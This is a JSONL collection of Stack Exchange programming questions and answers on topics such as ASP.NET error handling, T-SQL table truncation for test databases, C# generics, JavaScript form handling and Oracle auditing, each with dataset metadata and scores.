{"id": "hf_67b68a024fa7", "question": "<p>What is a good error handling practice for an asp.net site? Examples? Thanks!</p>\n", "question_body": "", "answer": "One practice that I find to be especially useful is to create a generic error page, and then set your defaultRedirect on the customErrors node of the web.config to that error page.\nThen setup your global.asax for logging all unhandled exceptions and then put them (the unhandled exceptions) in a static property on some class (I have a class called ErrorUtil with a static LastError property). Your error page can then look at this property to determine what to display to the user.\nMore details here:\nhttp://www.codeproject.com/KB/aspnet/JcGlobalErrorHandling.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.310390"}
{"id": "hf_3f462d116e75", "question": "<p>I have a test environment for a database that I want to reload with new data at the start of a testing cycle. I am not interested in rebuilding the entire database- just simply \"re-setting\" the data. </p>\n\n<p>What is the best way to remove all the data from all the tables using TSQL? Are there system stored procedures, views, etc. that can be used? I do not want to manually create and maintain truncate table statements for each table- I would prefer it to be dynamic.</p>\n", "question_body": "", "answer": "This is\none\nway to do it... there are likely 10 others that are better/more efficient, but it sounds like this is done very infrequently, so here goes...\nget a list of the\n```\ntables\n```\nfrom\n```\nsysobjects\n```\n, then loop over those with a cursor, calling\n```\nsp_execsql('truncate table ' + @table_name)\n```\nfor each\n```\niteration\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.379776"}
{"id": "hf_a7e5df396f03", "question": "<p>I have been learning about the basics of C# but haven't come across a good explanation of what this is:</p>\n\n<pre><code>var l = new List&lt;string&gt;();\n</code></pre>\n\n<p>I don't know what the <code>&lt;string&gt;</code> is doing or if it's the <code>List</code> that is doing the magic. I have also seen objects been thrown within the <code>&lt; &gt;</code> tags.</p>\n\n<p>Can someone explain this to me with examples, please?</p>\n", "question_body": "", "answer": "This is .NET Generics.  The type within the < > denotes the type of element contained in the list.\nwith ArrayList you'd have to cast the elements inside...\n```\n```\nint x = (int)myArrayList[4];\n```\n```\nwith List you can avoid that step because the compiler already knows the type.\n```\n```\nint x = myList[4];\n```\n```\nGenerics are available in .NET 2.0 and later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.414524"}
{"id": "hf_9b6fc60b5c41", "question": "<p>Is there a way to hide the text limit line in netbeans 6.5?</p>\n", "question_body": "", "answer": "Are you talking about the line running thru the right side, by default at the 80 column point?  That is Options -> Editor -> Indentation -> Right margin.  I have it set at 200 columns which pushes it off the right side of the screen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.438033"}
{"id": "hf_b118a2991bac", "question": "<p>I thought they could be, but as I'm not putting my money where my mouth was (so to speak) setting the readonly attribute doesn't actually seem to do anything.</p>\n\n<p>I'd rather not use Disabled, since I want the checked check boxes to be submitted with the rest of the form, I just don't want the client to be able to change them under certain circumstances.</p>\n", "question_body": "", "answer": "```\nREADONLY\n```\ndoesn't work on checkboxes as it prevents you from editing a field's\nvalue\n, but with a checkbox you're actually editing the field's\nstate\n(on || off)\nFrom\nfaqs.org\n:\nIt's important to understand that READONLY merely prevents the user from changing the value of the field, not from interacting with the field. In checkboxes, for example, you can check them on or off (thus setting the CHECKED state) but you don't change the value of the field.\nIf you don't want to use\n```\ndisabled\n```\nbut still want to submit the value, how about submitting the value as a hidden field and just printing its contents to the user when they don't meet the edit criteria? e.g.\n```\n```\n// user allowed change\nif($user_allowed_edit)\n{\n    echo '<input type=\"checkbox\" name=\"my_check\"> Check value';\n}\nelse\n{\n    // Not allowed change - submit value..\n    echo '<input type=\"hidden\" name=\"my_check\" value=\"1\" />';\n    // .. and show user the value being submitted\n    echo '<input type=\"checkbox\" disabled readonly> Check value';\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.473231"}
{"id": "hf_b2e2bd39cc49", "question": "<p>How do I go from this string: \"ThisIsMyCapsDelimitedString\"</p>\n\n<p>...to this string: \"This Is My Caps Delimited String\"</p>\n\n<p>Fewest lines of code in VB.net is preferred but C# is also welcome.</p>\n\n<p>Cheers!</p>\n", "question_body": "", "answer": "There's probably a more elegant solution, but this is what I come up with off the top of my head:\n```\n```\nstring myString = \"ThisIsMyCapsDelimitedString\";\n\nfor (int i = 1; i < myString.Length; i++)\n{\n     if (myString[i].ToString().ToUpper() == myString[i].ToString())\n     {\n          myString = myString.Insert(i, \" \");\n          i++;\n     }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.497047"}
{"id": "hf_32160930495a", "question": "<p>I have a textarea with many lines of input, and a JavaScript event fires that necessitates I scroll the textarea to line 345.</p>\n\n<p><code>scrollTop</code> sort of does what I want, except as far as I can tell it's pixel level, and I want something that operates on a line level. What also complicates things is that, afaik once again, it's not possible to make textareas not line-wrap.</p>\n", "question_body": "", "answer": "You can stop wrapping with the wrap attribute. It is not part of HTML 4, but most browsers support it.\nYou can compute the height of a line by dividing the height of the area by its number of rows.\n```\n```\n<script type=\"text/javascript\" language=\"JavaScript\">\nfunction Jump(line)\n{\n  var ta = document.getElementById(\"TextArea\");\n  var lineHeight = ta.clientHeight / ta.rows;\n  var jump = (line - 1) * lineHeight;\n  ta.scrollTop = jump;\n}\n</script>\n\n<textarea name=\"TextArea\" id=\"TextArea\" \n  rows=\"40\" cols=\"80\" title=\"Paste text here\"\n  wrap=\"off\"></textarea>\n<input type=\"button\" onclick=\"Jump(98)\" title=\"Go!\" value=\"Jump\"/>\n```\n```\nTested OK in FF3 and IE6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.520136"}
{"id": "hf_94f824dd01ff", "question": "<p>I'm looking to implement a function that retrieves a single frame from an input video, so I can use it as a thumbnail.</p>\n\n<p>Something along these lines should work: </p>\n\n<pre><code>// filename examples: \"test.avi\", \"test.dvr-ms\"\n// position is from 0 to 100 percent (0.0 to 1.0)\n// returns a bitmap\nbyte[] GetVideoThumbnail(string filename, float position)\n{\n}\n</code></pre>\n\n<p>Does anyone know how to do this in .Net 3.0? </p>\n\n<p>The correct solution will be the \"best\" implementation of this function. \nBonus points for avoiding selection of blank frames. </p>\n", "question_body": "", "answer": "This project will do the trick for AVIs:\nhttp://www.codeproject.com/KB/audio-video/avifilewrapper.aspx\nAnything other formats, you might look into directshow.  There are a few projects that might help:\nhttp://sourceforge.net/projects/directshownet/\nhttp://code.google.com/p/slimdx/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.567000"}
{"id": "hf_ec53b9692510", "question": "<p>Can you suggest how to create a test environment to simulate various types of bandwidths and traffic in a web app?</p>\n<p>Or maybe an open source program which does this against localhost?</p>\n<p>I think this is a very important subject when programming web apps but it is not a usual topic, the only way i can imagine to create such kind of environment is to use some kind of proxy in a local network but before start looking into the squid documentation i would like to hear your suggestions.</p>\n", "question_body": "", "answer": "The closest I can think of is doing something similar with\nVEDekstop\nfrom Shunra..\nSimulating High Latency and Low Bandwidth in Testing of Database Applications\nShunra VE Desktop Standard is a Windows-based client software solution that simulates a wide area network link so that you can test applications under a variety of current and potential network conditions – directly from your desktop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.606520"}
{"id": "hf_e9906eba3a12", "question": "<p>Change Data Capture is a new feature in SQL Server 2008.  From MSDN:</p>\n\n<blockquote>\n  <p>Change data capture provides\n  historical change information for a\n  user table by capturing both the fact\n  that DML changes were made and the\n  actual data that was changed. Changes\n  are captured by using an asynchronous\n  process that reads the transaction log\n  and has a low impact on the system</p>\n</blockquote>\n\n<p>This is highly sweet - no more adding CreatedDate and LastModifiedBy columns manually.</p>\n\n<p>Does Oracle have anything like this?</p>\n", "question_body": "", "answer": "I believe Oracle has provided auditing features since 8i, however the tables used to capture the data are rather complex and there is a significant performance impact when this is turned on.\nIn Oracle 8i you could only enable this for an entire database and not a table at a time, however 9i introduced Fine Grained Auditing which provides far more flexibility. This has been expanded upon in 10/11g.\nFor more information see\nhttp://www.oracle.com/technology/deploy/security/database-security/fine-grained-auditing/index.html\n.\nAlso in 11g Oracle introduced the Audit Vault, which provides secure storage for audit information, even DBA's cannot change this data (according to Oracle's documentation, I haven't used this feature yet). More info can be found at\nhttp://www.oracle.com/technology/deploy/security/database-security/fine-grained-auditing/index.html\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.664747"}
{"id": "hf_e790aeb50368", "question": "<p>I have a <code>double</code> value <code>f</code> and would like a way to nudge it very slightly larger (or smaller) to get a new value that will be as close as possible to the original but still strictly greater than (or less than) the original.</p>\n\n<p>It doesn't have to be close down to the last bit—it's more important that whatever change I make is guaranteed to produce a different value and not round back to the original.</p>\n", "question_body": "", "answer": "Check your math.h file. If you're lucky you have the\n```\nnextafter\n```\nand\n```\nnextafterf\n```\nfunctions defined. They do exactly what you want in a portable and platform independent way and are part of the C99 standard.\nAnother way to do it (could be a fallback solution) is to decompose your float into the mantissa and exponent part. Incrementing is easy: Just add one to the mantissa. If you get an overflow you have to handle this by incrementing your exponent. Decrementing works the same way.\nEDIT\n: As pointed out in the comments it is sufficient to just increment the float in it's binary representation. The mantissa-overflow will increment the exponent, and that's exactly what we want.\nThat's in a nutshell the same thing that nextafter does.\nThis won't be completely portable though. You would have to deal with endianess and the fact that not all machines do have IEEE floats (ok - the last reason is more academic).\nAlso handling NAN's and infinites can be a bit tricky. You cannot simply increment them as they are by definition not numbers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.711015"}
{"id": "hf_ab278c36930e", "question": "<p>What is the difference between a BitmapFrame and BitmapImage in WPF?  Where would you use each (ie. why would you use a BitmapFrame rather than a BitmapImage?)</p>\n", "question_body": "", "answer": "You should stick to using the abstract class\nBitmapSource\nif you need to get at the bits, or even\nImageSource\nif you just want to draw it.\nThe implementation BitmapFrame is just the object oriented nature of the implementation showing through. You shouldn't really have any need to distinguish between the implementations. BitmapFrames may contain a little extra information (metadata), but usually nothing but an imaging app would care about.\nYou'll notice these other classes that inherit from BitmapSource:\nBitmapFrame\nBitmapImage\nCachedBitmap\nColorConvertedBitmap\nCroppedBitmap\nFormatConvertedBitmap\nRenderTargetBitmap\nTransformedBitmap\nWriteableBitmap\nYou can get a BitmapSource from a URI by constructing a BitmapImage object:\n```\n```\nUri uri = ...;\nBitmapSource bmp = new BitmapImage(uri);\nConsole.WriteLine(\"{0}x{1}\", bmp.PixelWIdth, bmp.PixelHeight);\n```\n```\nThe BitmapSource could also come from a decoder. In this case you are indirectly using BitmapFrames.\n```\n```\nUri uri = ...;\nBitmapDecoder dec = BitmapDecoder.Create(uri, BitmapCreateOptions.None, BitmapCacheOption.Default);\nBitmapSource bmp = dec.Frames[0];\nConsole.WriteLine(\"{0}x{1}\", bmp.PixelWIdth, bmp.PixelHeight);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.745994"}
{"id": "hf_0636722cc91b", "question": "<p>Is there any one website which contains many good C# screencasts?</p>\n", "question_body": "", "answer": "dnrTV\ndnrTv is a fusion of a training video\n  and an interview show. Training videos\n  are typically sterile and one-way.\n  Let's face it, you can only take so\n  much. But you need to see the code! In\n  this format, you get the spontaneity\n  of an interview talk show, and the\n  detail of a webcast or training video.\nCarl Franklin is the host of the\n  wildly popular mp3 talk show .NET\n  Rocks!, which he started recording in\n  August, 2002. dnrTV launched on\n  January 12th, 2006, the same week as\n  .NET Rocks! show number 159!\nWe see dnrTV as a natural adjunct to\n  .NET Rocks!, allowing more technical\n  topics to be explored in detail. As\n  always, Carl keeps the atmosphere\n  light and conversational, which makes\n  for a nice way to spend your lunch\n  hour!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.770132"}
{"id": "hf_d1f78f64ac44", "question": "<p>I have been thinking about design by contract lately and I was wondering what people think is the best way to assert pre-condition and post-condition of values in .NET?\ni.e. validating argument values to a method.</p>\n\n<p>Some people recommend Debug.Assert while others talk about using an if statement plus throwing an exception. What are the pros and cons of each?</p>\n\n<p>What frameworks are available that you recommend?</p>\n", "question_body": "", "answer": "I prefer exceptions over asserts because if it's supposed to be that way and isn't, I want to know about it so I can fix it, and the coverage we get in debug mode is nowhere near real-life usage or coverage, so just using Debug.Assert doesn't do enough.\nUsing asserts means that you won't add bloat to your release code, but it means you only get to see when and why these contracts get broken if you catch them at it in a debug build.\nUsing exceptions means you get to see the contract breaking whenever it happens, debug or release, but it also means your release build contains more checks and code.\nYou could go with an inbetween approach and use Trace to trace out your pre and post conditions to some kind of application log, which you could use to debug problems. However, you'd need a way of harvesting these logs to learn what issues your users are encountering. THere is also the possibility of combing this with exceptions so you get exceptions for the more severe problems.\nThe way I see it though, is that if the contract is worth enforcing then its worth throwing an exception when it breaks. I think that's somewhat down to opinion and target application though. If you do throw exceptions, you probably want some form of incident reporting system that provides crash reports when raised exceptions are left unhandled.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.793313"}
{"id": "hf_1efb041e03cc", "question": "<p>We have a series of drop down controls that determine the sort order of columns.  The problem we are having is when the user selects a column as the 2nd column the other dropdown lists need to have their values changed so that there is only one \"2nd\".</p>\n\n<ol>\n<li>Column A       [1]</li>\n<li>Column B       [2]</li>\n<li>Column C       [3]</li>\n<li>Column D       [4]</li>\n<li>Column E       [5]</li>\n</ol>\n\n<p>In the list above, when you change Column D to [2], Column B becomes [3], C becomes [4], etc.  I can manage it on the server side but I was wondering if anybody had some clues how to do this on the client side with javascript.</p>\n", "question_body": "", "answer": "Look at Javascript toolkits like\nScriptaculous\nfor client side reordering.\nYou add your elements as \"\nSortables\n\" and code your own callbacks to execute when the items are dragged, then dropped -- such as sending an asynchronous request to the server to persist the new order.\nHere is a\nfull tutorial\non creating sortable lists with Scriptaculous and PHP. For ASP, the client side code will be slightly different, but the process will be similar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.816720"}
{"id": "hf_f591e2828937", "question": "<p>I have a form element that I want to address via javascript, but it doesn't like the syntax.</p>\n\n<pre><code>&lt;form name=\"mycache\"&gt;\n  &lt;input type=\"hidden\" name=\"cache[m][2]\"&gt;\n  &lt;!-- ... --&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p>I want to be able to say:</p>\n\n<pre><code>document.mycache.cache[m][2]\n</code></pre>\n\n<p>but obviously I need to indicate that <code>cache[m][2]</code> is the whole name, and not an array reference to <code>cache</code>.  Can it be done?</p>\n", "question_body": "", "answer": "UPDATE: Actually, I was wrong, you can use [ or ] characters as part of a form elements id and/or name attribute.\nHere's some code that proves it:\n```\n```\n<html>\n<body>\n\n<form id=\"form1\">\n\n<input type='test' id='field[m][2]' name='field[m][2]' value='Chris'/>\n\n<input type='button' value='Test' onclick='showtest();'/>\n\n<script type=\"text/javascript\">\nfunction showtest() {\n    var value = document.getElementById(\"field[m][2]\").value;\n    alert(value);\n}\n</script>\n\n</form>\n\n</body>\n</html>\n```\n```\nUpdate: You can also use the following to get the value from the form element:\n```\n```\nvar value = document.forms.form1[\"field[m][2]\"].value;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.851676"}
{"id": "hf_8ace1d6665c8", "question": "<p>In JavaScript, you can do this:</p>\n\n<pre><code>var a = null;\nvar b = \"I'm a value\";\nvar c = null;\nvar result = a || b || c;\n</code></pre>\n\n<p>And 'result' will get the value of 'b' because JavaScript short-circuits the 'or' operator.</p>\n\n<p>I want a one-line idiom to do this in ColdFusion and the best I can come up with is:</p>\n\n<pre><code>&lt;cfif LEN(c) GT 0&gt;&lt;cfset result=c&gt;&lt;/cfif&gt;\n&lt;cfif LEN(b) GT 0&gt;&lt;cfset result=b&gt;&lt;/cfif&gt;\n&lt;cfif LEN(a) GT 0&gt;&lt;cfset result=a&gt;&lt;/cfif&gt;\n</code></pre>\n\n<p>Can anyone do any better than this?</p>\n", "question_body": "", "answer": "ColdFusion doesn't have nulls.\nYour example is basing the choice on which item is an empty string.\nIf that is what you're after, and all your other values are simple values, you can do this:\n```\n```\n<cfset result = ListFirst( \"#a#,#b#,#c#\" )/>\n```\n```\n(Which works because the standard list functions ignore empty elements.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.874884"}
{"id": "hf_95f4c8e0c48e", "question": "<p>Based on several report parameters in SQL Server 2005 reporting services, I would like to automatically generate one or several chart(s) for each row in the return result and paginate or space them out. How do I go about that?</p>\n", "question_body": "", "answer": "What you can do is place a\nList control\non the page, set\nList grouping\nby record unique key (ID, or several fields if composite), and place a charts on the List. Next, set items visibility expressions to\ncontrol it with report parameters\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.909563"}
{"id": "hf_5c50308c1912", "question": "<p>In Ruby:</p>\n\n<pre><code>for i in A do\n    # some code\nend\n</code></pre>\n\n<p>is the same as: </p>\n\n<pre><code>A.each do |i|\n   # some code\nend\n</code></pre>\n\n<p><code>for</code> is not a kernel method:</p>\n\n<ul>\n<li>What exactly is \"<code>for</code>\" in ruby</li>\n<li>Is there a way to use other keywords to do similar things? </li>\n</ul>\n\n<p>Something like:</p>\n\n<pre><code> total = sum i in I {x[i]}\n</code></pre>\n\n<p>mapping to:</p>\n\n<pre><code> total = I.sum {|i] x[i]}\n</code></pre>\n", "question_body": "", "answer": "```\nfor\n```\nis just syntax sugar for the\n```\neach\n```\nmethod. This can be seen by running this code:\n```\n```\nfor i in 1 do\nend\n```\n```\nThis results in the error:\n```\n```\nNoMethodError: undefined method `each' for 1:Fixnum\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.970395"}
{"id": "hf_c9ab6877c3c0", "question": "<p>The default chart object in the SQL Server (2005) Business Intelligence Development Studio doesn't seem to some have formatting options like :</p>\n\n<ol>\n<li>specifying the text direction of labels in the x and y axis</li>\n<li>adding a trendline to a bar chart</li>\n<li>arbitrarily resizing items in a chart - for example, if I resize the chart object, everything gets resized accordingly but I can't keep the size of the chart the same while extending the area of the legend for instance.</li>\n<li>multiline chart labels</li>\n</ol>\n\n<p>So what I want to know is </p>\n\n<ol>\n<li>is there any easy answer to the formatting problems mentioned above?</li>\n<li>what websites/books/resources/examples would you recommend I look\n    into for extending the functionality of the chart object?</li>\n</ol>\n", "question_body": "", "answer": "yes you can specify the text direction of labels in the x and y axis\nGo to chart properties and in the tab x and y axis enter the chart title and in the title align use the combination like left/right/center align.\nyou can change the legend line go to the chart properties click legend tab inside this\nthere is an option for \"display legend inside plot area\" and you can include the trendline there\nyou can use multiline text labels when the text limits extends", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.998084"}
{"id": "hf_debee260da27", "question": "<p>How do I convert a utf-8 string to a utf-16 string in PHP?</p>\n", "question_body": "", "answer": "mbstring\nsupports UTF-16\n, so you can use\n```\nmb_convert_encoding\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.057082"}
{"id": "hf_056ef7415a8f", "question": "<p>Are there any good methods for getting ASP.NET 2.0 to validate under the XHTML 1.0 Strict (or Transitional) DTD?  I'm interested to hear some ideas before I hack up the core of the HTTP response.</p>\n\n<p>One major problem is the form tag itself, this is the output I got from W3C when I tried to validate:</p>\n\n<pre><code>Line 13, Column 11: there is no attribute \"name\".\n&lt;form name=\"aspnetForm\" method=\"post\" action=\"Default.aspx\" onsubmit=\"javascript\n</code></pre>\n\n<p>That tag is very fundamental to ASP.NET, as you all know. Hmmmm.</p>\n", "question_body": "", "answer": "Its possible to change the output of ASP.NET controls using techniques like the\nCSS Adapters\n. Although I wouldn't personally recommend you use these out of the box, it might give you some hints on a good solution.\nI generally avoid using the ASP.NET controls where ever possible, except ones that don't generate markup on their own such as the Repeater control. I would look into the ASP.NET MVC framework (what StackOverflow is built on) as this gives you 100% control over markup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.093273"}
{"id": "hf_698cc32c4475", "question": "<p>I need to create a unique ID for a given location, and the location's ID must be sequential.  So its basically like a primary key, except that it is also tied to the locationID.  So 3 different locations will all have ID's like 1,2,3,4,5,...,n</p>\n\n<p>What is the best way to do this? \nI also need a safe way of getting the nextID for a given location, I'm guessing I can just put a transaction on the stored procedure that gets the next ID?</p>\n", "question_body": "", "answer": "You'll want to wrap both the code to find the next ID and the code to save the row in the same transaction.  You don't want (pseudocode):\n```\n```\ntransaction {\n   id = getId\n}\n\n... other processing\n\ntransaction {\n   createRowWithNewId\n}\n```\n```\nBecause another object with that id could be saved during \"... other processing\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.127735"}
{"id": "hf_8d8a15c5c2e0", "question": "<p>I recently installed the Eclipse Metrics Plugin and have exported the data for one of our projects.</p>\n\n<p>It's all very good having these nice graphs but I'd really like to understand more in depth what they all mean. The definitions of the metrics only go so far to telling you what it really means.</p>\n\n<p>Does anyone know of any good resources, books, websites, etc, that can help me better understand what all the data means and give an understanding of how to improve the code where necessary?</p>\n\n<p>I'm interested in things like Efferent Coupling, and Cyclomatic Complexity, etc, rather than lines of code or lines per method.</p>\n", "question_body": "", "answer": "I don't think that code metrics (sometimes referred to as\nsoftware metrics\n) provide valuable data in terms of where you can improve.\nWith code metrics it is sort of nice to see how much code you write in an hour etc., but beyond they tell you nada about the quality of the code written, its documentation and code coverage. They are pretty much a week attempt to measure where you cannot really measure.\nCode metrics also discriminate the programmers who solve the harder problems because they\nobviously\nmanaged to code less. Yet they solved the hard issues and a junior programmer whipping out lots of\ncrap code\nlooks good.\nAnother example for using metrics is the very popular\nOhloh\n. They employ metrics to put a price tag on an opensource project (using number of lines, etc.), which in itself is an attempt which is\nflawed as hell\n- as you can imagine.\nHaving said all that the Wikipedia entry provides some overall insight on the topic, sorry to not answer your question in a more supportive way with a really great website or book, but I bet you got the drift that I am not a huge fan. :)\nSomething to employ to help you improve would be continuous integration and adhering to some sort of standard when it comes to code, documentation and so on. That is how you can improve. Metrics are just eye candy for meetings - \"look we coded that much already\".\nUpdate\nOk, well my point being efferent coupling or even cyclomatic complexity can indicate something is wrong - it doesn't have to be wrong though. It can be an indicator to refactor a class but there is no rule of thumb that tells you when.\nIMHO a rule such as 500+ lines of code, refactor or the\nDRY principal\nare more applicable in most cases. Sometimes it's as simple as that.\nI give you that much that since cyclomatic complexity is graphed into a flow chart, it can be an eye opener. But again, use carefully.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.184771"}
{"id": "hf_0fcfb5dbee32", "question": "<p>I need a way to allow each letter of a word to rotate through 3 different colors. I know of some not so clean ways I can do this with asp.NET, but I'm wondering if there might be a cleaner CSS/JavaScript solution that is more search engine friendly.</p>\n\n<p>The designer is including <a href=\"http://stlartworks.efficionconsulting.com/Portals/6/Skins/ArtWorks/img/ProgramsHeading.png\" rel=\"noreferrer\">a file like this</a> for each page. I'd rather not have to manually generate an image for every page as that makes it hard for the non-technical site editors to add pages and change page names.</p>\n", "question_body": "", "answer": "On the server-side you can do this easily enough without annoying search engines AFAIK.\n```\n```\n// This server-side code example is in JavaScript because that's\n// what I know best.\nvar words = split(message, \" \");\nvar c = 1;\nfor(var i = 0; i < words.length; i++) {\n   print(\"<span class=\\\"color\" + c + \"\\\">\" + words[i] + \"</span> \");\n   c = c + 1; if (c > 3) c = 1;\n}\n```\n```\nIf you really want dead simple inline HTML code, write client-side Javascript to retrieve the message out of a given P or DIV or whatever based on its ID, split it, recode it as above, and replace the P or DIV's 'innerHTML' attribute.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.208899"}
{"id": "hf_b38d1d2a99df", "question": "<p>Is there a way to determine the number of users that have active sessions in an ASP.NET application?  I have an admin/tools page in a particular application, and I would like to display info regarding all open sessions, such as the number of sessions, and perhaps the requesting machines' addresses, or other credential information for each user.</p>\n", "question_body": "", "answer": "The way I've seen this done in the past is adding extra code to the Session_OnStart event in the Global.asax file to store the information in a session agnostic way, e.g. a database or the HttpApplicationState object. Depending upon your needs you could also use Session_OnEnd to remove this information.\nYou may want to initialise and clean up some of this information using the Application_Start and Application_End events.\nThe administration page can then read this information and display statistics etc.\nThis is explained in more depth at\nhttp://msdn.microsoft.com/en-us/library/ms178594.aspx\nand\nhttp://msdn.microsoft.com/en-us/library/ms178581.aspx\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.243155"}
